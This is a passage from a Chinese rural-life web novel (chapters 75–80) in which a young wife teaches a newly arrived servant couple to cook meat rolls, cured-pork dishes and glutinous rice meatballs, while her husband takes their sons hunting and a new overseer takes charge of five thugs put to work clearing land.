“对了,他们既然选择住在这里那么以后家里的活就让他们来干。不用不好意思。秦娘子主要在家里做饭,带小静,你也能歇歇。梁石就让他以后接替傻根的活,日日管着那五个人开荒种地去。”
赵长风在灶房门口,小声和若若交代着,“再等个两三天,我要带着傻根进山围猎去了。家里有人帮衬你,我也放心。”
“这样真的好吗?”
“放心,好得很。”
林若若的身影在昏暗的烛光下顿了片刻,“行吧。你说好就好。对了还有个事,咱们给傻根兄弟改个名字吧。傻根听着像个傻子。”
赵长风“噗嗤”一声就笑了,“你说得对,他本名叫做赵山根。那我以后叫他山根。”
林若若忍不住笑了,“好~”
窗外,月色清明,远山轮廓依稀。村庄沉寂,偶有犬吠。
东厢房的灯光熄灭,融入一片安宁的黑暗~
柴房里的人今日也就着拉面汤,吃了黑面野菜窝头~
第75章 帮手~
第二日清早,天刚蒙蒙亮,林若若起身时,院子里已有了轻微的动静。
她披衣走出房门,晨雾尚未散尽,空气里带着清冽的草木气息。
灶房的方向传来窸窸窣窣的声响,还有锅勺轻碰的叮当声。
走过去一看,秦娘子已经在忙活了。
灶膛里的火燃得正旺,跳跃的火光映着秦娘子沉静的侧脸。
她正往大锅里添水,看起来动作非常熟练,见林若若进来,忙直起身,有些拘谨地笑了笑:“大嫂起了?我想着先烧些热水,也好让大家洗漱。”
“怎不多歇会儿?路上累了好些天。”林若若走到灶边,看她已经将灶台擦得干干净净,昨晚用过的碗筷也整齐摞在了一旁。
“习惯了早起,躺着反倒不自在。”
秦娘子低声道,又去角落的米缸里看了看,“大嫂,早上熬些粥可好?我再贴些饼子?”
“早上熬大米粥,再蒸上一锅肉卷吧。”
林若若说着,走到橱柜前,背对着秦娘子,动作自然地打开柜门,心念微动,从空间里取出了昨晚睡前就和好、醒在那里的面团。
面团在空间里待了一夜,发酵得恰到好处,白白胖胖,表面光滑,触手微凉却充满弹性。
她又顺手拿出一块约莫一斤多的新鲜五花肉,肥瘦相间,颜色鲜亮。
秦娘子看到林若若端出这么大一块好肉,微微一怔,下意识道:
“大嫂,这……早上就吃肉卷?太破费了。”
在她看来,农家清晨有一碗稠粥、几块粗粮饼子已是极好,这样实在的肉食,通常是要留给干重活的男丁,或者年节才舍得。
“不妨事。”林若若将肉放在案板上,又找出葱姜,温言解释,“长风他们今日要进山,耗力气,吃扎实些好。你家梁大哥和山根他们去开荒,也是力气活。再说了,孩子们正长身体呢。”
她语气平常,仿佛这是再自然不过的安排。
秦娘子心头一暖,不再多言,只道:“那我来切肉剁馅儿。”
她洗了手,拿起刀,动作熟练地将五花肉去皮,先切片,再切丝,最后笃笃笃地剁成细腻均匀的肉末。
她的刀工极好,下刀又快又稳,肉糜很快便在案板上堆成一小丘。
林若若这边也没闲着,她在另一个盆里将醒好的面团取出,再次揉搓排气,面团在她手下听话地变得愈发光滑柔韧。
“秦娘子,肉馅里加点葱姜末,放点酱油、盐,再淋些油搅匀便好,我这儿有自己调的香料粉,也放一点提味。”她一边揉面一边指导,语气温和。
“大嫂,你以后不用叫我秦娘子,叫我阿兰就行。”秦娘子看着林若若那精致的眉眼,有些小心翼翼。
“行,阿兰。”两人笑着,开始做肉卷。
秦阿兰依言照做,将切得细碎的葱姜末拌入肉馅,加入调料,顺着一个方向用力搅打,直到肉馅上劲,泛出油润的光泽,香气也隐隐透了出来。
林若若将揉好的面团分成几个剂子,取过一个,用擀面杖擀成长方形的薄面皮,厚度均匀,边缘整齐。
她用竹片刮起适量调好的肉馅,均匀地铺在面皮上,只在下端留出一指宽的空白。
“你看,像这样铺匀了,然后从铺满馅的这头慢慢卷起来,卷紧实些,最后用留下的空白边抹点水粘合封口。”
林若若一边示范,一边讲解,手法流畅。很快,一个胖乎乎、白生生的长肉卷坯子就做好了,躺在撒了薄面的案板上。
秦娘子看得仔细,点头道:“我试试。”
她也取过一个剂子,学着林若若的样子擀皮、铺馅。
起初略显生疏,但很快就掌握了要领,卷出的肉卷虽不及林若若的圆润,却也像模像样。
“做得很好。”林若若笑着赞了一句,“都卷好了,就上笼屉蒸。锅里水差不多开了。”
两人合作,很快七八个饱满的肉卷坯子,便整整齐齐码在了铺了湿润笼布的蒸屉上。
林若若盖上笼盖,让阿兰加大灶火。
白色的蒸汽很快从笼屉边缘滋滋冒出,带着面食特有的麦香和隐隐的肉香,弥漫在小小
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的灶间里。
等待蒸熟的空当,阿兰又快手快脚炒了个爽口的酸辣白菜丝,又切了一碟腌萝卜。
林若若则继续照看着粥锅,不时搅动,防止粘底。
约莫两炷香后,林若若掀开笼盖。
一股更浓郁的混合着面香、肉香、葱姜辛香的蒸汽扑面而来,令人食欲大振。
笼屉里的肉卷已然膨胀了一圈,表皮洁白光滑,隐约透出内里肉馅的微褐,显得格外诱人。
“好了,捡出来晾晾,正好他们该起来了。”林若若用筷子小心地将肉卷夹到盘子里。
不多时,赵长风也带着赵林赵峰出了屋子。
两个小少年今日休沐,却比平日更显精神,一身短打利落,脚上蹬着结实的旧草鞋。
赵长风自己也是一身进山的装束,腰间别着柴刀,背上负着弓箭。
小白狼不知从哪里窜了出来,围着赵长风的腿打转,呜呜低鸣,似乎知道要出门,异常兴奋。
“爹,咱们今天往深处走么?”赵林眼睛发亮,因为之前,他们兄弟从来没有和这个爹如此亲近~
“看情况。”赵长风检查着弓箭,“跟着我,眼要亮,耳要灵,脚步放轻。山里不比其他地方。”
“晓得了!”两兄弟齐声应道。
赵峰眼尖,立刻“哇”了一声:“娘,你做的什么?这么香!”
就连一向沉稳的赵林,也忍不住多看了几眼。
赵长风目光扫过桌上那盘热气腾腾、油润可爱的肉卷,又看了眼面带浅笑、与秦娘子一同忙碌的妻子,眼底掠过一丝柔和。
“都坐下,趁热吃。梁石,吃饭了。”赵长风看了一眼正背着一担柴火进院的梁石,喊了一声。
而此时,秦阿兰已经进屋给小静穿好衣服,抱出来了。
给小静洗漱完,大家都围在桌前开始吃饭。
这一顿早饭,吃得格外满足。
肉卷外皮松软,内里的馅料咸鲜多汁,肥而不腻,搭配清爽的粥和小菜,熨帖着肠胃。
连小静都自己捧着一小块,吃得津津有味。
第76章 父与子
赵长风嘱咐梁石:“今日你先跟着傻……山根,熟悉熟悉那几块荒地和人。该怎么干,山根会告诉你。”
梁石点头:“大哥放心。”
他又看向林若若:“家里就辛苦你和秦娘子了。”
“知道了,你们进山小心。”林若若将几个还温热的肉卷包好,塞进赵长风怀里,“晌午要是赶不回来,垫垫肚子。”
赵长风拍了拍两个儿子的肩膀,又低头看了眼脚边跃跃欲试的小白狼,对林若若道:“带它去认认路,也……碰碰运气。”
林若若明白他指的是什么,轻轻点头。那五人今日吃的依然是粗粮窝头,每人半碗粥,一根咸菜。
目送着父子三人的身影,带着那只蹦跳的小狼,消失在晨雾缭绕的村口小路,林若若才转身回了院子。
赵长风带着孩子和小白进山,傻根,哦不,山根要带着梁石,还有那五个人去山脚开荒,以后看管这些人,开荒的事,都要交给梁石了。山根还是要跟着赵长风进山打猎的。
看着男人们出了门,林若若和秦娘子才开始收拾。
“大嫂,不用你沾手!以后头天晚上你就给我交代好早上要做的饭食,第二日清晨我来做就行,你不用起了。这也是赵大哥交代过的。赵大哥说了,就当我们是在你家做工,到时候也有工钱的。”
林若若眼神闪了闪,心头一股暖流涌过,她大概明白是怎么回事了。
“行,那以后灶房的事就交给阿兰!了!”
“大嫂放心,灶房的事我熟的很。”
秦阿兰看着空了的蒸笼,低声道:“大嫂手艺真好,这肉卷……我以前都没见过这样做的。”
林若若一边擦手,一边笑道:“都是家常做法,以后日子长了,咱俩互相学。我看你刀工就好,做事也利落。”
秦娘子闻言,微微低下头,手下擦拭灶台的动作却更仔细了些。
晨光透过窗棂,照进灶房,笼罩着两个忙碌的女子身影,平静而踏实。
蒸肉卷的余香,似乎还袅袅地萦绕在空气里,预示着这新的一天,是从一份扎实的温暖开始~
院子一时安静下来,只剩下鸡鸭偶尔的鸣叫。
林若若深吸一口清晨的空气,开始盘算这一日的活计。
有秦娘子帮忙,家务确实轻省不少。她看了看天色,心想,不知他们今日进山,会不会有特别的遭遇。
山间的清晨,雾气更浓,露水打湿了裤脚。
赵长风走在前头,脚步稳健无声。
赵林赵峰紧跟其后,努力模仿着父亲的步伐,尽量不踩断枯枝,不惊起草丛里的飞鸟。
小白狼起初兴奋地乱跑,被赵长风低声喝止几次后,也渐渐安静下来,竖起耳朵,鼻头不断翕动,警惕地感知着周围。
“停。”赵长风忽然抬手。
父子三人立刻屏息凝神。前方浓密的灌木丛后,传来细微的沙沙声。
赵长风示意他们蹲下,自己则悄无声息地拨开枝叶望去——是几只野雉,正在林间空地上啄食。
他抽出箭,搭弓,瞄准,动作一气呵成。
“嗖”的一声轻响,领头的雄雉应声倒地,其余野雉惊飞而起。
“去捡回来。”赵长风对赵林道。
赵林猫着腰快步过去,捡起还在扑腾的野雉,脸上满是钦佩。
“爹,好准头!”
“熟能生巧。”赵长风淡淡道,“继续走。留心看地面痕迹,看树皮,听声音。猎物不会自己送到你眼前。”
一路行去,赵长风不时指点:这是野兔的新鲜脚印,那是獾子刨过的土堆,树上的爪痕可能是山猫留下的。
他教他们辨认可食的野果,避开带毒的草木。
两个少年听得专注,眼睛不够用似的四处打量。
小白狼始终跟在一旁,它的状态却有些不同。
越往山林深处走,它似乎越发不安,又隐隐有些激动。常常停下,对着某个方向深深吸气,喉咙里发出意味不明的低呜。
赵长风注意到了它的异样,心中微动。
晌午时分,他们在一处溪流边歇脚。吃了些肉卷,喝了清冽的溪水。也给小白吃了肉卷。
赵长风选了个视野开阔的高处,
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四下眺望。
山峦叠翠,林海莽莽。
“山林看着平静,里面藏着的东西可多。”
他对并排坐着的两个孩子说,“有能吃的,有用的,也有能要人命的。在这里,本事、眼力、胆量,缺一不可。更要紧的,是知道进退,懂得敬畏。”
赵峰用崇拜的眼神看着赵长风:“爹,您以前从来不带我们来的,也不给我们说这些。”
赵林也在一旁低下了头。
赵长风目光投向更远的深山,那里云雾缭绕,看不真切。
“嗯,之前爹一直忙。你们现在的娘亲嫁过来之后,常常跟我说,让我有空的时候就多陪陪你们。”
他没有多说,转而道,“休息好了?我们再往那边山谷走走,那边野物多些。”
赵林赵峰眼眶有些湿润,原来娘亲是这么好的人。
赵长风正要起身,一直挨着自己脚边的小白狼突然猛地站起,浑身毛发似乎都微微竖起。
它朝着山谷对面的密林方向,昂起头,发出了一声长长的、并不嘹亮却带着某种穿透力的呜咽——
那声音在山谷间隐隐回荡。
赵长风神色一凛,立刻示意两个儿子噤声,手按上了腰间的刀柄。
密林深处,一片寂静。仿佛连风都停了。
片刻之后,远远的,一声悠远而苍凉的狼嚎,穿透层层林木,隐隐传来。
小白狼的耳朵瞬间竖得笔直,尾巴不自觉地摇动了一下,又立即停住,只是那声回应般的低鸣,带着明显的急切与渴望,从它喉咙里滚了出来。
赵林赵峰紧张地靠近父亲,大气不敢出。
赵长风却缓缓松开了握刀的手,目光深邃地望着嚎声传来的方向。
他低头看了看脚边焦躁踱步的小白狼,伸手轻轻按了按它的脑袋。
“它听见了。”赵长风低声道,像是自语,又像是说给儿子们听。
小白狼抬头望他,琥珀色的眼睛里映着山林的光影,复杂难明。
“走吧。”赵长风最终说道,背起弓箭,“今日差不多了。回家。”
对,回家~
第77章 交接
赵长风没有带他们往狼嚎的方向去,也没有立刻允许小白狼循声寻找。
有些相遇,需要时机,也需要足够的准备。
回去的路上,小白狼频频回头,望向那片幽深的密林。
赵长风步伐稳健,心中却已了然——那头孤傲的狼王,知道它的孩子在这里,而且,它活下来了,还在这一带活动。
这山林,以后怕是要更热闹了。
他看了一眼身边虽紧张却掩不住兴奋与好奇的儿子们,又想到家里新来的那对沉默的“远亲”,觉得肩上的担子似乎重了些,又似乎,多了些别样的意味。
暮色渐起时,父子三人带着猎物,回到了村口。
小白狼走在最后,步子里少了些早上的雀跃,多了些沉静的张望。
家里,炊烟正袅袅升起,饭菜的香气隐约飘来。
赵长风从来没有如此刻一般,那么的想要回家~
对,就是回家~
回那个有林若若的家……
山根领着梁石,赶着那五个闷头走路的汉子,出了村,径直往山脚下去。
一路上,山根并不多话,只是偶尔用手中的木棍点点走在最后的那个试图拖沓的,那人便立刻紧走几步。
晨雾在山脚下还未散尽,湿润的泥土气息扑面而来。
等走到那片荒地前,梁石不由得停下了脚步。
眼前景象,与周围已大不相同。
原本遍布荆棘灌木、乱石起伏的荒坡,被清理出了一大片。
粗壮的树根被刨出堆在一边,大小石块也被捡拾出来,粗略地垒成了几道矮矮的、歪扭却实用的田埂轮廓。
深翻过的泥土裸露着,黑褐色的,带着湿气,虽还谈不上多么平整,却已有了土地的踏实模样。看得出来,这是下了大力气的。
“就是这儿了。”
山根用木棍划拉了一下眼前这片开阔起来的土地,“大哥……风哥说了,先把这一大片都开出来,嫂子……打算以后在这种麦子。”他说话还是有点磕绊,但意思很清楚。
那五个汉子已经默默拿起了放在窝棚里的农具——镢头、铁锹、耙子,眼神麻木中带着惯有的畏缩和一丝不易察觉的戾气,偷眼打量着山根身边这个面生的、看起来文弱一些的梁石。
山根示意梁石走到稍远一点的土坡上,背对着那五人,压低了声音,开始细细交代。
“梁兄弟,大哥让我跟你说清楚。”
山根黝黑的脸上神情严肃,“这五个人,不是一般的流民或雇工。他们……原是京城街上的混混,专干些欺行霸市、偷鸡摸狗的勾当。”
梁石心里一紧,面上不显,安静听着。
“前些日子,有人花了钱,雇了他们,本是要来咱们村,专门祸害……”
山根顿了顿,朝村子方向看了一眼,“祸害我嫂子,坏她名声,搅得家宅不宁,最好能逼得我嫂子在这里待不下去。”
梁石倒吸一口凉气,瞳孔微缩。
他瞬间明白了赵长风为何那般谨慎,又为何非要“买”下这几个人。
这不仅仅是劳力,更是祸根,是必须死死攥在手里、按在土里,才能确保家里安宁的“麻烦”。
“也是他们倒霉,摸进家时撞见了大哥。大哥那会儿正在家里养伤。”
山根语气里带上一丝与有荣焉,“大哥的本事你是知道的,没费多大劲就把他们全撂倒了。然后,大哥直接让他们签了死契,然后又去县里备了案,”山根没细说怎么没费劲的,但梁石能想象那绝不会是和风细雨。
“最后,这些人在县衙备了案,名义上是买来的劳力,实际上……”
山根转头,冷冷地瞥了一眼那五个已经开始懒洋洋刨地的身影,
“是捏住了他们的命根子。他们敢不听话,敢有异动,大哥有的是法子让他们知道厉害。这几日,你也看到了,吃的就是吊着命,活儿一点不能少干。大哥说了,什么时候这片荒地真成了能种粮食的熟地,什么时候他们的表现让嫂子觉得放心了,再考虑给他们加点
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油水,或者……别的出路。”
梁石心中震动不已。
他原只当赵长风是个有本事、寡言却可靠的猎户,如今才知,这位“大哥”处事如此缜密狠辣,思虑深远。
这哪里是简单地找人开荒?分明是雷霆手段拔除了暗处的毒刺,还将毒刺磨钝了,按在土里为自己所用。
“我明白了。”
梁石郑重地点点头,看向那五人的眼神也发生了变化,少了几分初来的茫然,多了几分审视与警惕,“日后这里交给我,山根兄弟放心。我会盯紧他们,绝不会让嫂子那边有丝毫风险。”
山根憨厚地笑了笑,拍了拍梁石的肩膀:
“大哥信你,我也信你。他们也就刚开始不服,不服你就揍,被揍了几顿,现在看着还算老实。你记着,不用对他们客气,该骂骂,该打打,只要别弄残弄死,大哥不会怪你。但也要注意,别被他们阴了,这些家伙,滑溜着呢。”
交代完毕,山根又走过去,对着那五人粗声粗气地吼了几句,无非是“这是新管事的梁石,以后他的话就是我的话,谁偷懒耍滑,仔细你们的皮”之类的。
那五人闷声应着,看向梁石的目光里,审视和估量的意味更浓了。
山根这才对梁石点点头,扛起自己的猎叉,转身往赵长风他们进山的方向快步追去。
他还得去打点猎物去,嫂嫂日日做好吃的,山里才是他的天地。
梁石独自站在初垦的荒地前,晨风吹拂着他洗得发白的衣袍。
他深吸一口气,泥土腥气混杂着草木断裂的清新味道涌入肺腑。
他弯腰,捡起地上闲置的一把镢头,握在手里掂了掂。
然后,他走向那片被翻开的土地,走向那五个沉默劳作的“特殊”劳力。
他的步伐起初还有些文人的虚浮,但很快便踏实起来。
“你,”他指向一个刚才挖土明显惜力的黑壮汉子,“这片石头多,你用耙子先清一遍,大的捡出来,小的碎土。”
第78章 下饭菜~
梁石的声音不高,却清晰平稳,带着一种不容置疑的吩咐口吻。
那甲三闷闷地“嗯”了一声,乖乖换过了耙子。
其他人一看,也干活去了。
梁石不再多言,自己也寻了处地方,挥起镢头,学着他们的样子,用力刨向板结的土块。
他不是做样子,而是真的用力。
汗水很快从他额角渗出。
那五人看着他略显生疏却异常认真的动作,彼此交换了几个眼神,手下不自觉也快了几分。
远处山林寂静,近处村落炊烟袅袅。
梁石抹了把汗,直起腰,望向赵家小院的方向,心中那份沉甸甸的责任感,与对那份“踏实日子”的向往,交织在一起,化为了手下更沉稳的力道。
中午,是秦阿兰来送的饭,甲二到甲五吃的是贴饼子加咸菜,今日干活最卖力的是疤脸甲一,他吃的是白面肉包子,而且是两个!
秦阿兰给梁石带了五个白面肉包子!
梁石有些惊讶,“怎么这么多?!”
秦阿兰有些赧然,“嫂嫂怕你刚来,又下地干活,怕你吃不饱。”
“阿兰,这实在太奢靡了。这样长久下去,我怕主子心生嫌隙。”梁石有些犹豫。
他之前一直为主家办事,走南闯北,见多太多百姓的疾苦。没想到在这个偏僻荒凉的小山村,主子家的日子居然过得如此宽绰。
秦阿兰双手紧紧抓住食盒的把手,心中也有些愧疚。
自己才过了两日这自由又幸福的日子,她有些飘了~
在主子一声声的“阿兰”中,她几乎要忘记了自己是谁~
“你说得对,是我有些飘了。之前在府里待久了,忘记了这里只是赵家村。”秦阿兰有些脸红。
梁石挠了挠头,看着虽然二十六岁,却依然好看的秦阿兰,有些害羞地别开了脸,“那你早些回去吧。把孩子看好了,家务活做了,记住主子的话。”
“好,那我走了。”秦阿兰提着食盒,往山下走去,顺路还挖了一些新鲜的野菜,用自己随身带的布兜装了回去。
回到家的时候,院子里静悄悄的,秦阿兰放轻脚步,去看了一眼,小静在自己的小床上睡得正香,夫人林若若在躺椅上晒着太阳也睡着了。
她轻手轻脚地给夫人盖好被子,然后把野菜择好,又回屋里拿了针线,静静地做着衣裳。她想给夫人做身新衣裳,这也是主子要求的。
不过,她也看过,夫人的衣裳的确都是京城的款式,但在乡下能穿的没几件。因为料子太金贵了。绸缎这种料子,在乡下是穿不着的。而且有几件过长,刚落地,就脏了呢。
所以,主子去京城的时候,买了几匹颜色鲜艳的细布,要给夫人好好做几身新衣裳,即使布料不同,但也要绝对是京城最时兴的款式。
对,是主子。
她和梁石都是赵长风从京城的牙行买的下人,签了死契的下人。自己善厨艺,梁石有些功夫。两人都是府上犯事,被卖掉的下人和仆从。
主子说了,因为住在乡下,家里用下人,名声不好,再加上夫人心地善良,才让他们假扮夫妻,谎称是主子的远房亲戚。
秦阿兰的手很巧,银针在她指间穿梭,细密的针脚在柔软的细布上延伸。
她选的是一匹水青色的料子,颜色清雅柔和,正衬夫人的气质。
阳光透过窗棂,在她低垂的颈项和专注的侧脸上洒下一层淡淡的光晕,院子里只有偶尔几声鸡鸣和远处隐约传来的、梁石他们开荒的断续敲击声,时光宁静得仿佛凝住了。
林若若这一觉睡得格外沉。
醒来时,已是半下午了。
身上盖着的薄被带着阳光的味道,她睁开眼,先看到的是秦阿兰安静做活的背影,心中一片温软。
“阿兰。”她轻声唤道。
秦阿兰立刻回头,放下手中的活计,快步走过来,“夫人醒了?可要喝点水?灶上温着红枣茶。”
林若若点点头,在秦阿兰的搀扶下坐起身。
喝了口温热的茶,暖意从喉间滑到胃里,整个人都舒坦了许多。
她目光落在秦阿兰还未收起的布料和针线上,“在给我做衣裳?”
“是,”秦阿兰有些不好意思,用针尖在头上蹭了蹭,
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>“主……表哥嘱咐的,说夫人的衣裳在村里穿不大方便。这料子虽不及绸缎,却也是上好的细棉,透气软和。”
林若若抚摸着那光滑的布料,心中感动。
赵长风看似粗豪,心思却细,连她穿衣的难处都想到了。
“辛苦你了,慢慢做,不急。”她顿了顿,望向院外,“长风他们……还没回来?”
“还没呢,对了,嫂子,咱们晚上做什么饭?我挖了点野菜。”
林若若想了想,想到麻辣鲜香的川菜,口水都要流出来了,
“中午的肉包子还有,留着明天早上喝粥吃。今晚大家都很累,我给大家做个下饭的菜!”
秦阿兰的手顿了一下,小心翼翼地说,“我们两口子给家里添麻烦了!我们吃粗粮就行,不用吃那么好的。”
林若若眼神闪了闪,温婉地笑着,“都是一家人,说啥呢?家里有我们一口吃的,就会有你们一家吃的。再说了咱家没那么穷的。”
秦阿兰抬起头看着林若若精致的眉眼,还有略有些粗糙的皮肤和手指,心中已经对赵长风的用意了如指掌。
“那我们就不客气了!这样嫂子你教我,我来做!”
“行!那就辛苦你啦!”林若若感受到了赵长风的心意,心里暖暖的。
阳光斜斜照进来,将土灶、水缸和案板的轮廓都镀上了一层柔和的暖色。
这时,小静也醒了。秦阿兰给小静穿好衣服,喂了温水,林若若就让她去玩积木了。
灶房里,空气中还隐约残留着上午蒸包子时,白面与肉馅混合的香气。
“嫂子,野菜我都择好洗净了,你看,”秦阿兰端过一个粗陶盆,里面是嫩生生的荠菜和马齿苋,水珠还挂在叶子上,“咱晚上就吃这个?”
林若若看了看,眉眼弯弯,“光是野菜还不够味。你等下。”她声音温软,却透着笑意。
打开橱柜,其实是从空间拿出两块腊肉,一碗红艳艳的干辣椒,还有两头大蒜。
腊肉黑红油亮,硬邦邦的,透着一股浓郁的烟熏咸香。
“这是什么?肉?”秦阿兰没有见过。
第79章 美味~
林若若心里咯噔一下,“哦,这是腊肉,晒干的肉,我自己瞎琢磨的。”
“这腊肉得先处理。”
林若若指点着,“用热水好好洗刷几遍,洗去表面的烟尘,然后整块放进锅里,加冷水煮。水开后撇去浮沫,再煮上一炷香的时间,既能去除些咸味,肉也会变得软和一些,好切。”
秦阿兰仔细听着,手脚麻利地照做。
灶膛里的火重新燃起,橘红色的火舌舔着锅底,水渐渐发出细微的声响。
她蹲在灶前,看着火光映照下林若若沉静姣好的侧脸,心里那份初来时的不安,仿佛也在这日常的烟火气里慢慢沉淀下去。
腊肉煮上了,林若若又让秦阿兰剥蒜、切姜,自己则走到碗柜边,取出几个瓶瓶罐罐。
这是自己空间里的各种调味料。
“嫂子,你这是要做啥菜式?看着这准备,像是要弄大动静。”秦阿兰好奇地问。
“做个……腊肉炒野菜,再煸个辣椒蒜子。”林若若想了想,用了最简单的说法,眼里却闪过一抹怀念的光。
这做法,其实脱胎于她记忆里某道令人食指大动的川味家常菜,只是材料有限,便化繁为简,取其神髓。
“待会儿腊肉煮好,你把它捞起来,晾到不烫手,就切成薄片,要肥瘦相连,透亮最好。”
说话间,腊肉的独特香气已随着蒸汽弥漫开来,勾得人胃里蠢蠢欲动。
秦阿兰将煮好的腊肉捞出,放在案板上,按照林若若说的,趁热切成了薄薄的片。
肉片微卷,肥处晶莹,瘦处深红,煞是好看。
林若若坐在门口的小凳子上,“阿兰,锅烧热,不用放油,先把腊肉片放下去,小火慢慢煸炒。”
秦阿兰照做。
腊肉片一入热锅,便滋滋轻响,很快,自身的油脂就被逼了出来,润亮了锅底,香气也陡然变得霸道热烈,伴着油脂焦化的醇香混合着烟熏咸鲜的味道,瞬间充满了整个灶房。
“看,这样煸出油,腊肉吃起来才不会腻,也更香。”
林若若轻声解说,“等肉片边缘有些焦黄,就把它们拨到一边。用这腊肉油,把干辣椒段和蒜片、姜末放进去爆香。”
刺啦一声!
辣椒和蒜姜落入滚热的油脂中,一股更加猛烈的辛香爆开,微微有些呛人,却让人口舌生津。
秦阿兰被呛得偏头轻咳了一下,手上翻炒的动作却不停。
“快,把野菜倒进去。”林若若适时提醒。
碧绿的野菜倾入锅中,与腊肉、辣椒蒜片混合。
林若若往灶台里加了一块木头,加大火力,快速翻炒。
高温瞬间激发出野菜的水分和清香,那清鲜之气与腊肉的浓烈、辣椒的辛呛交织碰撞,香味扑鼻。
林若若又示意秦阿兰从那些瓶罐里,淋入少许酱和一点点醋,“沿着锅边淋,要快。”酱醋遇上热锅,腾起一股带着酸咸气息的白烟,迅速被食材吸收。
最后撒上一小撮秦阿兰之前不太明白用途、被略微焙干舂碎的花椒末,再快速颠两下锅,便催促道:“好了,出锅!”
一大盆腊肉炒野菜盛了出来。
腊肉油亮咸香,野菜软糯入味,点缀着焦黄的辣椒和蒜片,色泽浓郁,香气扑鼻,热腾腾地冒着勾人的白气。
紧接着,秦阿兰又在林若若的指点下,用锅里剩下的底油,将更多的蒜片和辣椒段煸炒得焦香扑鼻,做成了一大碗浓墨重彩的煸辣椒蒜子,专门用来下饭佐粥。又把之前做的馒头热了热。
家里人多,做少了不够吃。
因为家中还有孩子,林若若又教秦阿兰做了一道红烧排骨。
饭菜刚做好不久,院外便传来了脚步声和男人们低沉的说话声,间或夹杂着镢头耙子放在地上的钝响。
赵长风带着孩子们,还有山根、梁石和甲一等人回来了。
“嫂嫂,今日的菜绝对好吃!”
秦阿兰话音刚落,院门外便传来熟悉的脚步声,还有赵峰刻意压低了却仍透着兴奋的叽喳声:“爹,今天那只兔子是我先看见的!”
“嗯。”赵长风低沉含笑的嗓音随之响起。
小白狼第一个窜进院子,
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径直跑到林若若脚边,亲昵地蹭了蹭,喉咙里发出呜呜的撒娇声,全然没了早晨离开时的沉静模样。
林若若笑着揉了揉它的头。
赵长风带着两个儿子走进来,肩上扛着、手里提着不少猎物,除了常见的山鸡野兔,竟还有一只不小的獐子。
赵峰献宝似的举起手里一串用草茎穿起来的山雀:“娘,看!这个烤着吃可香了!”
“好,晚上就烤了吃。”
赵林也举着一只兔子眼睛亮亮的看着林若若。
林若若笑着,目光却不由自主地飘向赵长风。
赵长风也正看着她,四目相对,他眼中带着一丝不易察觉的审视和关切,见她气色尚好,神情柔和,紧绷的唇角才放松下来,几不可察地对她点了点头。
山根跟在最后,乐呵呵地地将猎物放到厨房边,又去井边打水洗手洗脸,一切井然有序。
“梁石那边怎么样?”赵长风一边放下东西,一边问秦阿兰。
秦阿兰忙回道:“回……,哦,表哥,晌午我去送饭时,梁石已经上手了,那五个人……看着还算老实。”她把梁石关于饭食太奢靡的担忧和自己的反省也轻声说了。
赵长风听了,脸上没什么表情,只道:“他知道分寸,是好事。家里的事,若若说了算,该怎样就怎样,不必太过缩手缩脚,也不能忘了根本。”
这话既是肯定梁石,也是提点秦阿兰,更是说给林若若听的——这个家,她才是女主人。
林若若自然明白他的意思,心头微暖。
晚饭时,赵峰果然吃上了烤得喷香的山雀,一家人围坐在堂屋。
赵长风简短说了说山里的情况,略去了狼嚎和狼王的揣测,只道猎物不少,以后可常去。
夜色渐深,两个孩子睡下后,院子里恢复了宁静。
秦阿兰来了之后,晚上照顾小静也是她了。
赵长风洗漱完毕,回到房中,林若若正就着油灯在看秦阿兰做的衣裳样子。
“还不歇着?”赵长风走过去,瞟了一眼。
嗯,是自己买的料子。
第80章 恍惚~
第二日,天还没亮,东边天际只泛着一层淡淡的鱼肚白,院子里却已有了窸窸窣窣的动静。
秦阿兰轻手轻脚地起身,先去灶房捅开灶眼,添了把耐烧的硬柴,让暗红的火炭慢慢苏醒,煨上一大锅热水。
这才转身去洗漱,冰凉井水拍在脸上,驱散了最后一丝睡意。
今日赵林赵峰上学了,早饭可不能马虎,何况他们中午还要带饭。
她正盘算着,主屋的门“吱呀”一声开了,林若若披着件外衫走了出来,发丝还有些蓬松,眼神却已清明。
“嫂子,你怎么也起了?再歇会儿吧,早饭我来弄。”秦阿兰忙道。
林若若摇摇头,唇角带着温软笑意,“孩子们上学,我心里挂着,也睡不着。昨儿个不是说了么,教你做点新鲜的。”
两人进了灶房。
借着窗纸透进的朦胧晨光和灶膛里逐渐亮起的火光,林若若先将昨晚睡前就泡上的一小盆糯米指给秦阿兰看,“糯米得泡足了时辰,才容易蒸透,口感也糯。”
接着,她从橱柜取来一碗已经剁好的肉馅,然后在一旁指点着阿兰调味:
“加一点姜末去腥,撒少许盐,淋一点咱们自己酿的酱油提鲜,再打一个鸡蛋进去,顺着一个方向搅,搅到肉馅上劲,黏黏的能拉出丝才好。”
肉馅调好,林若若又拿出几朵昨夜泡发的干香菇和一小把荸荠——这都是她空间里存着的。香菇切成细碎的小丁,荸荠也拍扁剁碎,一起拌进肉馅里。“这样吃起来,肉丸子里有脆脆的口感,更清爽,不腻人。”
秦阿兰仔细看着,记在心里。
只见林若若洗净手,从泡好的糯米里捞出一把,沥干水,铺在掌心。
右手舀起一勺肉馅,在掌心熟练地团弄几下,便成了一个圆溜溜的肉丸子,随即往糯米碗里一滚,白生生的糯米立刻密密地沾满了丸身。
“看,就这样,让糯米均匀裹上。”林若若一边示范,一边说,“蒸的时候,糯米的清香会渗进去,肉汁也会被糯米吸收,互相借味。”
秦阿兰学着做,起初两个丸子裹得不太均匀,很快也就上手了。
一个个圆滚滚、白胖胖的糯米肉丸挨个儿码进垫了干净笼布的蒸屉里,瞧着就喜人。
“这糯米肉丸蒸上约莫一炷香多点,火候到了,糯米会变得晶莹透亮,肉香也全逼出来了。”林若若盖上锅盖,让秦阿兰注意着灶火。
趁蒸丸子的工夫,林若若又张罗起韭菜盒子。
新鲜的韭菜是昨日下午秦阿兰从院角小菜畦里割的,翠绿欲滴,洗净沥干水,切成细细的末。另取了三枚鸡蛋,在碗里打散。
“锅里放少许油,油热了把蛋液倒进去,用筷子快速划散,炒成碎碎的鸡蛋絮。”林若若说着,秦阿兰已利落地操作起来。
金黄的鸡蛋絮盛出,晾在一旁。
等鸡蛋凉了,和韭菜末拌在一起,先淋上一些香油拌匀,锁住韭菜的水分和香气,临包之前再加盐调味,这样韭菜不易出水。
另一边,林若若已挽起袖子,准备和面。
“嫂子,不用你动手,你教我,我来做。”阿兰赶紧把手洗干净,擦干。
林若若笑了,“好,你来做。韭菜盒子的面,要用烫面,一半开水烫,一半凉水和,这样和出来的面皮软和,烙出来外皮有点脆,里面却柔韧,放凉了也不硬。”
